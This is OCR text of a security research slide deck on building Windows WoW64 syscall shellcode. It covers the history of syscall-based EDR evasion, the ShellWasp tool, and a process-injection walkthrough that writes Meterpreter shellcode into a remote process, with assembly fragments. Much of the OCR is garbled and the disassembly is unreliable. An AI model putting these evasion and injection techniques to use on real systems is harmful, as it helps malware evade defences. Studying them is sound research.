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Wmdows Shellcode

s Shellcode usually uses

* This is done by walking the and fraversing the

to reach the

e Shellcode Is used In

« Some malware has more sophisticated, complex
shellcode.

or as part of



Our Research: Syscalls in Shellcode

« We are looking at creating shellcode for
applications running on emulation.

« WoWé64 lets us execute 32-bit applications on a é64-bit processor.
« WoWé4 = Windows on Windows (64-bit)

« Can we create shellcode that is — devoid of
WINnAPI calls?

 WINAPI usage is the de facto standard for 99.9% of shellcode, in
terms of achieving functionality.



History of Syscall Usage in Shellcode
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* Egghunters: Egghunters use a syscall to search process
memory. Syscall used to check to see it memory is valid.
 If memory is valid, it will check each byte for a special, unique tag.
is frequently used for this purpose.

 Syscall shellcode from 2005: This is the only non-Egghunter
usage of syscalls in shellcode.
« Four syscalls: , Nelgle

 PoC shellcode by Piotr Bania to set @ regls’rry key to cause a binary to
be launched upon reboofting.



Syscalls' A Problem of Portablllt
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\ infrequently.

. As seen below from Mateusz "j00ru” Jurczyk’s System Call Table,
there is a problem of portability with syscalls.

» Syscall System Service Numbers (SSNs) can change with each
release / OS build.

 Many important syscalls remain the same across releases, changing

T - A N [ ) — 7 W) < W o % ~ < ~ ~ x A N - T T
: Windows| ., . Windows Windows| ,,,.
er)l((:’ows Server w",?:tgws Server Windows 7 Server Wmsdows Windows 10
System Call Symbol (show) igg‘i (show) iggz (hide) (igcl)vzv) (show) (hide)

SPO SP1 1507 1511 1607 1703 1709 1803 1809 1903
NtAcceptConnectPort 0x0060 | 0x0060 0x0002 | 0x0002 | 0x0002 | 0x0002 | 0x0002 | 0x0002 | 0x0002 | 0x0002
NtAccessCheck 0x0061 | 0x0061 0x0000 | 0x0000 | 0x0000 | 0x0000 | 0x0000 | 0x0000 | 0x0000 | 0x0000
NtAccessCheckAndAuditAlarm 0x0026 | 0x0026 0x0029 | 0x0029 | 0x0029 | 0x0029 | 0x0029 | 0x0029 | 0x0029 | 0x0029
NtAccessCheckByType 0x0062 | 0x0062 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063 | 0x0063
NtAccessCheckByTypeAndAuditAlarm 0x0056 | 0x0056 0x0059 | 0x0059 | 0x0059 | 0x0059 | 0x0059 | 0x0059 | 0x0059 | 0x0059
NtAccessCheckByTypeResultList 0x0063 | 0x0063 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064 | 0x0064
NtAccessCheckByTypeResultListAndAuditAlarm 0x0064 | 0x0064 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065 | 0x0065
NtAccessCheckByTypeResultListAndAuditAlarmByHandle 0x0065 | 0x0065 0x0066 | 0x0066 | 0x0066 | 0x0066 | 0x0066 | 0x0066 | 0x0066 | 0x0066
NtAcquireCMFViewOwnership
NtAcquireCrossVmMutant
NtAcquireProcessActivityReference 0x0067 | 0x0067 | 0Ox0067 | 0x0067 | 0Ox0067
NtAdE@Eom_Ell m : | 0x0044 | 0x0044 0x0047 | 0x0047 | 0x0047 | 0x0047 | 0x0047 | 0x0047 | 0x0047 | 0x0047
NtAd - 0x0067 | 0x0067 | 0x0067 | 0x0068 | 0x0068 | 0x0068 | 0x0068 | 0x0068
NtAddBootEntry 0x0066 | 0x0066 0x0068 | Ox0068 | Ox0068 | Ox0069 | Ox0069 | Ox0069 | Ox0069 | Ox0069
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History of Syscalls in the Modern Era

« A 2018 report by Hod Gavriel about syscall usage in
malware.

and :
 This included dual loading of NTDLL.

« Some malware would dynamically parse NTDLL for syscall
values.

malware searched for “ecmp, 0xb8" to find mov opcode
(b8) and then copied syscall number and other instructions.

W oy T IO, 0 o

11 ? 11 "\ 1 Ly



And Now, Some Syscall Tools

— PoC syscall tool, in response to malware //
research. l(.k

« Showed how syscalls can be used for LSASS memory dump with §
Cobalt Strike. Y P /

« Uses RilIGetVersion do determine OS version.
, by Cornelis de Plaa and stanhegt

— Generates 64-bit header / Assembly file

implants fo use syscalls in software made with Visual
Studio.

» Uses 64-bit PEB to determine OS build.
, by JacksonT.

Jackson T. Twitter



Hell's Gate and Its Twin Sister

AT y :
— Dynamically extracts syscall values from NTDLL
« Searches for mov opcode, 0xb8.
e |f found, it extracts the WORD (2 bytes) next to it.

by Paul Lainé and smelly vx (@amOnsec)
- A reflnemen’r on Hell’ s Go’re
- EDR was overwriting parts of the NTDLL function stubb, making Hell's ,;;‘
Gate not work.
* |t didn’'t do this for every NTDLL function.
« Halo's Gate finds NTDLL function before or after the modified NTDLL
function.
|t would add or subtract by 1, based on proximity to modified NTDLL function.

, by Reenz0h, of Sektor7
L T . e T
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— A hew

way to generate . Deducing Syscall ID from Function
syscalls, without Addresses!

syscalls tables.

« ElephantSedl saw a
relationship
between addresses
of NTDLL function
stub and SSNs.

 Walks PEB and
parses export table
to reach NTDLL.

» Parses NTDLL and
sorts by address,
starting with entries
beginning with Nt.

5 183
ElephantSedl.

— A total re-imagining of SysWhispers, using ElephantSedl’s sorting
by address technique to deduce syscall ID from function address.
* Primary difference: sorts NTDLL functions that start with Zw instead of Nt.
* Hashses & order saved; determines SSN, based on order, incrementing by 1.
, by Jackson T.
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| ey ©@KlezVirus
‘ \n d AI I Oth e r EEN As a follow up to my blog post about SysWhispers, I'm

releasing SysWhispers3, an Inceptor-friendly version of
SysWhispers2 with x86/WOWG64 support, egg-hunting,
direct jumps, and randomized jumps to
syscall/sysenter instruction. More info in the repo:

— Recent fork of

SysWhispers2; some upgrades. Tape—

e First to support x86/WoWé4 Assembly / SysWhlspers3
header pairs files for implants to use with

making syscalls.
» SysWhispers2 added this as well.

« Replaces syscall instruction with an egg—

wb3 ¥ 89

github.com
d d d 'I' |'I'h h d b k i klezVirus/SysWhispers3: SysWhispers on Steroids - AV/EDR evasion v...
O e S eO C Onge OC SysWhispers on Steroids - AV/EDR evasion via direct system calls. - GitHub
dyngmiCO”y klezVirus/SysWhispers3: SysWhispers on Steroids _AV/ EDRt‘d ion via direct ..

2:26 PM - Mar 7, 2022 - Twitter Web App

, by klezVirus

235 Retweets 2 Quote Tweets 502 Likes



The Secret Sauce?

» Basically, most of these techniques will work if the
will , from one NTDLL function to the next?¢

€ 3

N




That all important underlying assumption is now



Let’s Change How the Syscalls Are Numbered,
OK?

5\ e
B -—

has entered the chd.

* “We are gonna help
for you, Son.”



ntdll!ZwReadFile:
77e6f8f0 b8030600000
77e6f8f5 b91a000000
77e6f8fa 8d542404

77e6f8fe 64ff15c0000000

77e6f905 83c404
77e6f908 c22400
77e6f9@b 90

movV
movV
lea
call
add
ret
nop

ntdll!ZwDeviceIoControlFile:

77e6f98c b804000000
77e6f911 b91bB000GO
77e6f916 8d542404

77e6f91a 64ff15c0000000

77e6f921 83c404
77e6f924 c22800
77e61927 90
ntdll!ZwWriteFile:
77e61928 b3805000000
77e6f92d b91a000000
77e61932 8d542404

77e61936 641ff15c0000000

* Ox3
* 0x4
* Ox5
* Ox6

77=2RT957 21400
77e6795f 90

* Incrementing:

mov
movV
lea
call
add
ret
nop

-

eax, 3
edx, [esp+4]

dword ptr fs:[@C0h]
esp,4

24h

eax,4

ecx,1Bh

edx, [esp+4]

dword ptr fs:[@C0h]
esp,4

28h

eax,>5
ecx,1Ah

edx, [esp+4]
dword ptr fs
esp,4

24h

eax,b
ecx,1Ch

edx, [esp+4]
dword ptr fs
esp,4

14h

ntdll!NtWaitForSingleObject:

776529f0 b804000d00 mov
- Nof
incrementing: | &Y
* Oxd0004 nop
« Ox5
. 0x1d0006 .
« Ox1b0007 call
 Ox1a0008 ret
nop
ntdll!NtReadFile:
77652a10 b806001a00 mov
77652al1l5 ba30886677 mov
T1652ala £Ed2 call
17652alc c22400 ret
Ti6a231F 90 nop
ntdll!NtDeviceIoControlFile:
77652a20 b807001b00 mov
77652a25 ba30886677 mov
77652a2a ffd2 call
77652a2c c22800 ret
T1652a2% B0 nop
ntdll!NtWriteFile:
77652a30 b808001a00 mov
77652a35 ba30886677 mov
77652a3a ffd2 call
17652a3c c22400 ret

eaXIODOOO4h l
edx,offset ntdll!Wow645Sys

edx
OCh

edx,offset ntdll!Wow64Sys

edx
OCh

eax |120006h |

edx,offset ntdll!'Wow64Sys
edx

24h

eax |1B0007h |

edx,offset ntdll!Wow64Sys
edx

28h

eax J120008h |
edx,offset ntdll!Wow64Sys

edx
24h




Command

77652ed0
77652ed5
77652eda
77652edc
77652edf

77652ee0
77652eeb5
77652eea
77652eec
77652eef

77652ef0
77652ef5
77652efa
77652efc
77652eff

717652£00
77652£05
17652f0a
T1695210cC
T EGaL Bl E

TieaZ25 110
77652f15

b850000000
ba30886677
EEd2
c21400

90

ntdll!NtQuerySection:

b851000000
ba30886677
ffd2
c21400

90

ntdll !NtResumeThread:

b852000700
ba30886677
i 5 o P
c20800

90

ntdll!NtTerminateThread:

b853000700
ba30886677
ffd2
c20800

90

ntdll !NtReadRequestData:

854000000
ba30886677

B el B ingnets

0=000> @, ##652efl 20 130
ntdll!NtProtectVirtualMemory:

mov
mov
call
ret
nop

mov
mov
call
ret
nop

mov
mov
call
ret
nop

mov
mov
call
ret
nop

mov
mov
call
ret

eax, 50h

Windows 10, 21H2

edx,offset ntdll!Wow64SystemServiceCall (77668830)

edx

14h

eax, 51h
edx,offset ntdll!Wow64SystemServ,

edx
14h

eax]70052h

edx,off\set ntdll!Wow64SystemServ,
edx

« Are syscall service
numbers really
Incrementing by 1¢

* 0x50

0x51

O0x70052

O0x70053

0x54

eax, 54h
edx,offset ntdll!Wow64SystemServiceCall (77668830)
edx
18h




‘ommand

0:000> u ntdll!ntprivilegecheck-20 L30

ntdll !NtPrepareComplete:

Windows 10, 21H2

717653d20 b835010000 mov

717653d25 ba30886677 mov edx,offset ntdll!Wowé64SystemServiceCall (77668830)
t1653d2a F1d2 call edx -
77653d2c c20800 ret 8 o Are SYSCCI” service
e . oE numbers really
ntdll!NtPrepareEnlistment: . .
77653d30 b836010000 mov eax, 136h Incrementing by 1¢
77653d35 ba30886677 mov edx,offset ntdll!Wow64SystemServ: e O0x135

ki6s3d3a EEd2 call edx

77653d3c c20800 ret 8 * Ox136

t16a3d3T 50 nop

ntdll!NtPrivilegeCheck: * Oxc0137
77653d40 b837010c00 mov eax,|0C0137h)  0x138

717653d45 ba30886677 mov edx,offyet ntdll!Wow64SystemServ] . 0X139

tiba3dda: £1d2 call edx

717653d4c c20c00 ret OCh

17653d4f 90 nop

ntdll!NtPrivilegeObjectAuditAlarm:

717653d50 b838010000 mov eax, 138h

17653d55 ba30886677 mov edx,offset ntdll!Wow64SystemServiceCall (77668830)
17653d5a ffd2 call edx

65 3dhc 21800 ret 18h

11603d5E, 90 nop

ntdll!NtPrivilegedServiceAuditAlarm:

717653d60 b839010000 mov eax,139h

717653d65 ba30886677 mov edx,offset ntdll!Wow64SystemServiceCall (77668830)
77QQ§g§ﬁn§§@ng@ne$ call edx

17653d6c c21400 ret 14h



And This Means, What?

* |[f you wish to use syscalls with new Windows releases, you most
likely will need to dual load NTDLL.

« Dual loading NTDLL for syscalls is an old malware technigue—multiple
variations.

« A modified that grabs size DWORD, not size WORD would
work, assuming no EDR.

 Syscall values that do NOT increment by 1 means the following
will not always work:

- ElephantSedl’s sort by address tfechnigue,

» They will work for syscalls where the SSNs increment by 1.



Getting Syscall Values for OS Builds

 We used a scripted process via WinDbg and then parse
the results with Python o form a JSON.

* This process guarantees there are no inaccuracies.
* The whole process takes just a few minutes.

0:000> u ntdll!NtWriteFile L1
ntdll!NtWriteFile:

77652230 b808001a00 mov eax, 1A0008h
0:000> u ntdll!NtWriteFileGather L1
ntdll!NtWriteFileGather:

77652b80 b81b001avo mov eax,1A001Bh
0:000> u ntdll!NtWriteRequestData L1
ntdll!NtWriteRequestData:

77652140 b857000000 mov eax,57h
0:000> u ntdll!NtWriteVirtualMemory L1
ntdll!NtWriteVirtualMemory:

77652d70 b832000000 mov eax, 3Ah
/'Y 9GS ntd11 INtYieldExecution L1



Reverse Engineering
Windows Syscalls



Windows 7: WoWé64

§56Q°“‘§“§; “‘Oﬁ S o At r

. In Windows 7 Wowé4, the sysc:oll can be found via
« The 'S register points to the

0:009> u ntdll!ntallocatevirtualmemory
ntdll!NtAllocateVirtualMemory
777fface b815000000 mov eax,

777ffac5 33c9 xor ecx,ecx
777ftfac7 8d542404 lea edx, [esp+4]
777ffacb 64ff15c0000000 call dword ptr
777ftfad2 83c404 add esp,4
777ftad5 c21800 ret 18h
holds the (syscall service number).
* This one points to NfAllocateVirtualMemory
T}IJ‘JE‘;;’ Jn;" i r/ iy i, gl Y o e CJ Suw Ly A T L

o ﬂﬂ/f/ff/ﬂﬂf'!‘rrr“\ Qua A

-
',-x*



Windows 7: WoWé64

,‘ \ m y
é& gngl\\\ ‘\‘\\\ - ’.r\' r

« We can dereference the + ) o find a pointer 1o our

far jump.
« We then jump to é64-bit mode.
* The segment selector denotes 64-bit mode; = 32bit
mode .
0:009> dd [EHEE
0053:000000c0 PEEIFEFL] 00000409 00000000 0000000
73962320 eale2796733300 jmp 0033:7396271E
73962327 0000 add
 Whatis at 2
* |t points us to Ig
« By default, this is hidden from the PEB.
e Itisa , In 32-bit address space.

» The far jump goes to N



Windows 10

- There is a hardcoded offse’r IN NTDLL that leads to the system
call.

Nk
"R W
S A &
N R
AAhERRER x\,\\'\\“

QOO y 2D LT Y § o pp pp p// W ) s Q%Y " LQ,vopn; BRHEMUPY Y ZRQQUY ENQQ0QN iU BOOOQY Y pO0RKBROOOUMY y EQ00 My b -
annaaars O ofmﬂﬂrﬂf/ﬁfwanaﬂ/mﬂﬂﬂ M /7 / r QO ,\‘. '. "g:nnnnnnoonrrvannrnnnmmnnnnnnnnnoornnnonnnnnoo‘ﬁreronnnr‘:aﬂnnrnn
i v B0t QAU U Y ¥ ¢ NPBOUULEL Y P ﬂﬂﬂﬂﬂ/’/"‘"’ Ll e HEQuy x000yy nOOUUEE Q000 yyQuEEOQQUY Y QYU UK Q00UUE YA By nO

W 0:000> u ntdll'ntallocatev1rtua1memory
s ntdll!NtAllocateVirtualMemory:

M 76fe2b10 b8180000V0O mov
| 76fe2bl5 balogsff7e mov

B4 76fe2bla ffd2 call
M 76fe2blc 21800 ret
] 76fe2blf 90 nop

NP<Nf <QOQrreroce¥Qur @ q0r WF rof gplio Y Yorn " T pr sor ro//s rro®ACCTTCCTANA0

I ~ : a0 v S
QOQu yy yyQuy YTy 0 Oﬂyﬂ[//// ﬂﬂ// ﬂ 77, ol 4 2ry Tupu 4 ?T ac sleie)
QQQQYNAvYYnNNoevYvvyngr ,;/;ﬂ / /;; 707 ~ 455 ﬂ////' .,7/{ ok ‘._W’j, Y 242/742% nyvovaQw B Qo

ntdll!Wow64SystemServiceCall:

77358870 112528923177 jmp dword ptr [ntdll!Wow64Transition ([EEREFPE:) ]




Windows 10

leads us to a , With code execution
transitioning from 32- to

ntdll!Wow64SystemServiceCall:
77358870 12528923177 jmp dword ptr [ntdll!Wow64Transition ([EEREPPEY) ]

0:000> dd pEEREPPE
76167000 77099000 00000000 0©00VVLLO

0:000> u

76167000 2097016763300 0033:76F67009
7667007 0000 byte ptr [eax],al
7667009 41 i ecx

76f6700a ffa718000000 j dword ptr [edi+OF8h]




Um, So We Don’t ActuéIIyNeed this New-
fangled Wow64SystemServiceCall?
] il vl . i i

* The new way with and
76fe2bl5 bale88ff76 mov edx,offset ntdll!Wowe4SystemServiceCall (pwERt::¥%)

e ——————

ntdll!Wow64SystemServiceCall:

77358870 12528923177 jmp dword ptr [ntdll!Wow64Transition (

0:000> dd
7667000 76167000 77099000 00000000 000V

* But the old Windows 7 way with still works - backwards compatibility!
0:000> dd fs:co

0053:000000c0 7667000 00000409 00OV VOO

* Both and lead to our far jump to 64-bit mode!
* Both of these point to



Windows 11?

« Calling syscalls in IS very similar to

0:000> u ntdll!ntallocatevirtualmemory
ntdll!NtAllocateVirtualMemory:
77884d50 b818000000 mov eax,|18h

77884d55 ba408f8a77 edx,offset ntdll!RtlInterlockedCompareExchange64+0x180

77828 40) ‘

77884d5a ffd2 edx
77884d5c c21800 18h

77884d5f 90
: T " = - 3

_——

0:000> U [EEEERRLY «—
ntdll!Wow64SystemServiceCall:

778a8f40 f12520c29377 jmp dword ptr [ntdll!Wow64Transition (7793c220)]
778a8f46 cc int 3

? ~om f

9:000> dd 7793c220 .
7793c220 FEELIEE\ 7793C000 00000000 00000000

0:000> U WAL
77806000 2096080773300  mp 0033 :77806009

* The old method of invoking syscalls still works!

0:000> dd
"PoT000000c0  IVELLGLELE 00000409 00000000 00000000




Building
Syscall Shellcode



Windows 10

OS Release OS BuildOS Build
Name Number (Hex)

 Syscall SSNs change with each o o e e
new release of Windows. 1909, 19H2 [18363 [47BB
1903, 19H1 (18362 |47BA

* We can determine the release by
matching it to the OS build
number.

511 TH2

* This information can be retrieved
purely through shellcode via
introspection.

Windows 11

OS Release OS Build OS Build
Name Number (Hex)

Preview
Preview

Preview
Preview
Win. Server 2022

OS Release OS Build OS Build

Name Number (Hex)




Walking the PEB

« We can walk the Process Environment ULONG OSMajorVersion; //0xal

Block (PEB) to find useful pieces of . :
information. ULONG OSMinorVersion; //0xa8
USHORT OSBuildNumber; //@xac

« OSBuildNumber is all we actually need if  9.0005 dd v0cca000 +oxac
Windows 10. P0ccAfac | 00004ab4 00000002 000003 VOOLRR6

e |tis af offset OxAC from the start of the PEB.

* You could use OSMajorVersion and
OSMinorVersion to check if different OS

version

« As with anything PEB-related, we can
find the PEB at s:[0x30].



Identifying OSMa
OSMinorVersion

 OSMajorVersion & OSMinorVersion
can determine which version of

Windows.

 The PEB combined with these to
identify older versions versions of
Windows.

0:009> dd 7efdePBO +Oxad
7efdeBad 00000006 0OOOOOO1 01001dbl OOOOOO2

0:009> dd 7efdePBO +0xa8
7efde®a8  ©0P0OOOO1 ©1001dbl ©OOOOOO2 O3

ULONG OSMajorVersion; //0xal
ULONG OSMinorVersion; //0xa8
USHORT OSBuildNumber; //@xac

0:000> dd 00cc4000 +Oxad
00ccdPad 000000Va VVOVVVVO 0VVB4abd 0VVORVO2

0:000> dd 00cc4000 +0xa8
00ccd0a8 00000000 0VPR4abd 0VVVVO2 VVRVVO3



Rl et gty SON R

"-_'%' E : et e “W o e’ vt
Let’s Turn This into Shellcode o
Y=o and gy e — t 7k A1 | SR
. Only minimal Assembly sneeded fo mov ebx, fs:[0x30]
get OSBuildNumber. i, mov ebx, [ebx+@xac]

—== e i 8
. —cre— 4% TR YR | ,.,n. = Y
005312b3 642130000000 mov eax,dword ptr fs:[00000030h |

Ox4a64 21h2
ThIS is the most recent Windows 10 release.




s

ourSyscall:
cmp dword ptr [edi-Ox4],0xa
jne win?7

winlo:
call dword ptr fs:[0xcO]
ret

——

ourSyscall:

Xor ecx, ecx

lea edx, [esp+4] i
call dword ptr fs:[@xce]| |ourSyscall:

add esp, .~ | call dword ptr fs:[0xcO]

ret ret

" win7:
XOr ecx, ecx

lea edx, [esp+4]

call dword ptr fs:[0xcO]
add esp, 4




|mov ebx, fs:[©x30]

mov ebx,
mov ecx, esp
sub esp, ©x1000
cmp bl, ©x64

3l lessl

push exld

push ©x1a00e8
push ©x18b
'push ©x55

push ©x18

ljmp saveSyscallArray
lessil:

cmp bl, ©x62

jl less2

push ©x1d

push ©x8

push ©x18b

push ©x55

push ©x18

jmp saveSyscallArray
less2:

cmp bl, ©xFe

31 end

push ©x1d

push ©x1a0008

push ©x194

push ©x55

push ©x18

saveSyscallArray:
mcv edi, esp .-
mov esp, ecX

[ebx+0xac] <«

e Ve Ve Ve W e Ve Ve Ve W

e Ve Ve Ve W

Syscall Initializer Shellcode

U S » This initializer is if you are
T targeting only one OS.
NtSetContextThread
NtCreateFile

NtAllocateVirtualMemory

20H2, Winle release‘*~\\\\\\\\\\\\\\\\\\‘
NtCreateKey

; creating space on

the stack to hold our

Checking for versions.

NtWriteFile For most of these we only need to look at one
NtSetContextThread byte to see if there is match.
NtCreateFile

NtAllocateVirtualMemory

21H2, Winll release Pushing

the stack, placing them in the
NtCreateKey

NtWriteFile
NtSetContextThread
NtCreateFile
NtAllocateVirtualMemory

Our syscall values now can be referenced

from , pointing to the




mov eax, fs:[©x30]
= I CIISE@  gyscall Initializer Shellcode
v e 0 |1 08 MajorVersion
i B A E—— e This initializer is for targeting
i ; NtCreatekey both Win 7 and Win10/11.

2
push ©x1a0008 ; NtWriteFile
push ©x18b ; NtSetContextThread
push ©x55 ; NtCreateFile : :
push ©x18 ; NtAllocateVirtualMemory . creatmg Space on
jmp saveSyscallArray the stack to hold our :
lessl:
|
cmp bl, ©xFe ; 21H2, Winll release '*-~5__555555555555555555555
jl less2 ] ]
push exld ; NtCreateKey Checklng for versions.
pPush Sl sooos 5 NtWriteFile For most of these we only need to look at one
lpush ox194 ; NtSetContextThread bute t if there is match
push ©x55 ; NtCreateFile S Y S USRS S e tig
push ©x18 ; NtAllocateVirtualMemory
jmp saveSyscallArray
less2:
Icmp bl, exB1 ; Win7, Spl release !
j1 end Pushing
pusn-exa 5 MRCrestekey the stack, placing them in the
push ©x5 ; NtWriteFile
\push ox150 ; NtSetContextThread
push ©x52 ; NtCreateFile
push ox15 ; NtAllocateVirtualMemory Our syscall values now can be referenced
| SR
i from , pointing to the :
push eax

mov edi, esp . ! ! ! :
add =di, €xa OS Major Version is accessible via :

mov esp, ecx




\ Our Syscall Array

S'-

= » After ’rhe , we have a
accessible via ik, reoch our syscall service numbers.

0:000> dd edi
P115ed7c 000VO18b 00VVO174 VOV VVRRVO1d

NtReplaceKey NtCreateKey

NtSetContextThread NtSetValueKey

‘:!3 S
&
A
#
&

i’ A NG S N

& )
/



Syscall Array

o u r Sysca I I Array Location | Syscall SSN

edi NtSetContextThread 0x18b

edi+ 0x4  NtReplaceKey O0x174

« We can use entries in our syscall array edi+0x8  NtSetValueKey 0x60

to set the SSN before making the edi+0xc  NtCreateKey Ox1d
syscall.

mov eax, [edi+0x4] mov eax, [edi+Ox8]

11 S 11 11 S 11
mov eax, [edi] cd-= OUF>)>Cd cd-= OUFoYScd mov eax, [edi + Oxc]

call ourSyscall call ourSyscall

ourSyscall:
call dword ptr fs:[0xcO]
ret




Pointer to Syscall Array |

Save
« We want to and then Ty
our to the
Push
« We use and on parameters

 Making a syscall will cause many values
INn registers to be lost.

« Syscall array eradicates

SR B SSN
0:000> dd edi ..
P115ed7c 0000O18b 00174 0VVVVV6O VBV 1d ;mov eax, [edi]
call ourSyscall syscall
ourSyscall: B
call dword ptr fs:[0xcO] -
ret N Cleanup

add esp, 0Ox14

pop edi Restore




ShellWasp:
A Tool for
Syscall Shellcode



O https://github.com/Bw3ll/ShellWasp

. e 3 KKy, .
.==% Kdeedetedede

mmn . ) > -
" %% =Nk Kk 3 -
%o Jekdedele 3737k TP ===5 _  -_ Shel Iwas
%; W% __3%9%;p/; O e Tam

Q; %% IV \;%p ;K% -

A7
Tl wa T o Automates building templates of syscall
-=\= _ % %%;_ ;3 %66\ \
= el wwx-. 1 Shellcode.
/ /- =%- %%hk%; %%y "--__/
//= ==%-%%; %; %
/ = - d ;%; ;%; :F_P:
| Do * Nearly all user-mode syscalls supported.
/ ool « All the ones | could find function prototypes
v for.
I/(iﬂ HK\\ A\ ///_/ o
S 2 B VARV S » Solves the syscall portability problem.
L VN R . Uses PEB to identify OS build.

| « Creates Syscall Array

v.1l: Bramwell Brizendine, 2022 ° Suppor-l-s WindOWs 7/" O/‘I ‘I

DL et et « Uses existing syscall tables.
W - Add or modify Windows relesses. = o » Uses newly created syscall tables for newer
; : Dizzlzsnoéﬁio:\; [config.cfg] with current selections. versions o Wlndows O & -l -l .

SysShellcode>



HENES

» Users can easily and quickly rearrange
syscalls in shellcode.

» Can preload desired syscalls and
Windows releases via config file or Ul.

« Can save changes made to config.

Syscalls have been rearranged.

Current Syscall Selections:

NtWriteFile

NtClose

NtSetContextThread

NtCreateFile

NtAllocateVirtualMemory

NtWriteFile

NtCreateKey
SysShellcode>Syscalls>



SysShellcode>WinReleases> a

Windows 10©:
ri3 21H2
ri2 21H1
[ b B 20H2
rie 2004
ro 1909
r8 19063
r7 1809
ré 1803
r5 1709
r4 1703
E3 1607
r2 1511
ri 1507
¢ - Clear current sel

[X]

—
<
—

fDl_IHHI_II_IHl_II_'l_IHH
<
P ol T T T TN [ S T S W T_— W_—

C

ions.

Windows 7
spl
spé

Windows 11
bl

This will add to existing Windows releases.

HENES

* Easy to select desired Windows releases via
config file or UL.

* Can save changes made to config.

SP1 [X]
SPe [X]
21H2  [X]



PHANDLE FileHandle

push edi
push ©x00000000 ; ULONG EalLength
push ©x00000000 ; PVOID EaBuffer
push ©x00000000 ; ULONG CreateOptions
push ©x02000000 . ULONG CreateDisposition Sh IIW
push ©x00000000 ; ULONG ShareAccess e asp
push ©x00000000 ; ULONG FileAttributes
push ©x00000000 ; PLARGE_INTEGER AllocationSize
push ©x00000000 ; PIO_STATUS_BLOCK IoStatusBlock .
push ©x00000000 . POBIECT ATTRIBUTES Objectattributes ® (CI€ATES TempldTe WiliaKell
push ©x00000000 ; ACCESS_MASK DesiredAccess
2

syscalls selected.

» Labels syscall parameter names
and types in vivid colors.

 Utilizes syscall array.

push ©x00000000

mov eax, [edi+©x4] ; NtCreateFile syscall
call ourSyscall

add esp, ©x2c

push edi

push ©x00000000 PULONG Disposition
push ©x00000000 ULONG CreateOptions

push ©x00000000 PUNICODE_STRING Class
ULONG TitleIndex

push ©x00000000
POBJECT_ATTRIBUTES ObjectAttributes <

« Will automatically populate with
push ©x00000000
ACCESS_MASK DesiredAccess

SSNEs.

Syscall parameter types
Syscall parameter names

push ©x00000000

push ©x00000000 PHANDLE pKeyHandle

Loading value from
mov eax, [edi+@x10] ; NtCreateKey syscall

call ourSyscall Stack cleanup

Ve Ve Ve Ve Ve Ve e

add esp, Oxlc

pop edi Restore syscall array
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Syscall Process Injection

Loop through all processes

Open process using PID

Allocate memory in remote process
Write shellcode to remote process

Spawn new thread

Walit for the thread to finish execution

— NtQuerySysteminformation
4 NtOpenProcess
— NtAllocateVirtualMemory
E— NiWriteVirtualMemory
E—) NtCreateThreadEx
——

NitWaitForSingleObject



NitQuerySysteminformation

__kernel_entry NTSTATUS NtQuerySysteminformation |

[iN] SYSTEM_INFORMATION_CLASS
SysteminformationClass,

IN, out] PVOID SystemiInformation,
iN] ULONG SysteminformationLength,
'out, optional] PULONG ReturnLength

);

SYSTEM _INFORMATION_CLASS ‘ SystemProcessinformation — ) &)

SystemProcessinformation + Ox3C = Image name (e.g, explorer.exe)
SystemProcessinformation + 0x44 = PID of process



SystemProcessInformation

« Returns an array of SYSTEM_PROCESS_INFORMATION structures, for
each process.

typedef struct _SYSTEM_PROCESS_INFORMATION ({

ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessld;

} SYSTEM_PROCESS_INFORMATION;



SystemProcessInformation

» Loop through all process using NextEntryOffset

Name Value
419 p 0x00e202dl0 {NextEntryOffset=0x00003420 0x0
@ NextEntryOffset = <= x00003420 Next process
@ NumberOfThreads 0x000000ca
b @ Reserved1 0x00e202d8 "
4 @ |mageName {Length=0x000c MaximumLength=0x0010 | 0x3C
@ Length OX000c Process Name
@ MaximumLength -~ (x0010
) O Buffer € 0x00e236€0 L"System" Ox44
@ BasePriority 0x00000008
@ UniqueProcessld = <= = UROUO0000S Process ID
@ Reserved2 0x00000000
@ HandleCount 0x00000db0




Getting the Process ID

« Call NtQuerySysteminformation to get the return length of all
sfructures.

« Add 2000 bytes to the returned value and allocate memory
using NtAllocateVirtualMemory.

« Call NtQuerySysteminformation again using the new allocated
address.

* Loop Through all structures using the NextEntryOffset.



__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(

NtOpenProcess

[out] PHANDLE ProcessHandle,
[iN] ACCESS_MASK DesiredAccess,
[iN] POBJECT_ATTRIBUTES

[in, optional] PCLIENT_ID Clientld

);

typedef struct
ULONG

HANDLE
PUNICODE_STRING
ULONG

PVOID

PVOID

} OBJECT_ATIRIBUTES;

{

Length; <
RootDirectory;
ObjectName;
Attributes;
SecurityDescriptor;

SecurityQualityOfService;

PID from NtQuerySysteminformation

Length of OBJECT_ATTRIBUTES = 0x 18



NtAllocateVirtualMemory

__kernel_entry NTSYSCALLAPI NTSTATUS
NtAllocateVirtualMemory|

in]
N, OUt]

IN]

fin, Ouft]
1a)
18]

);

HANDLE ProcessHandle,
PVOID *Base Address,
ULONG PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect



NtAllocateVirtualMemory

push 0x40 <

push 0x3000 <«

lea ebx, dword ptr [ebp-0x8] <

push ebx

xor ebx, ebx

push ebx <

lea ebx, dword ptr [ebp-0x4]
push ebx

push dword ptr [ebp-0x2c] <«
mov eax, [edi + Ox8]

call ourSYSCALL <

PAGE_EXECUTE_READWRITE

MEM_RESERVE | MEM_COMMIT
Size of shellcode

ZeroBits OPTIONAL

Pointer to receive allocated address

ProcessHandle

INVOKE SYSCALL




NtWriteVirtualMemory

« Writing Meterpreter shellcode into remote process.

__kernel_entry NTSYSCALLAPI NTSTATUS NiWriteVirtualMemory (

IN HANDLE ProcessHandle, — Pointer of allocated space
INPVOID BaseAddress, « Pointer to shellcode
IN PVOID Buffer, -

IN ULONG NumberOfBytesToWrite, - Size of shellcode
OUT PULONG NumberOfBytesWritten OPTIONAL

);



NtWriteVirtualMemory

lea eax, dword ptr [ebp-0x8]

push eax

push ex17D ~—m—rou-—

push dword ptr
push dword ptr
push dword ptr

mov eax, dword

 ebp-0x28]
 ebp-0x20]

 ebp-0x2C]

ptr [edi+0x4]

—

—

—

call ourSYSCALL &—7"™m™—™—™/////////™™™

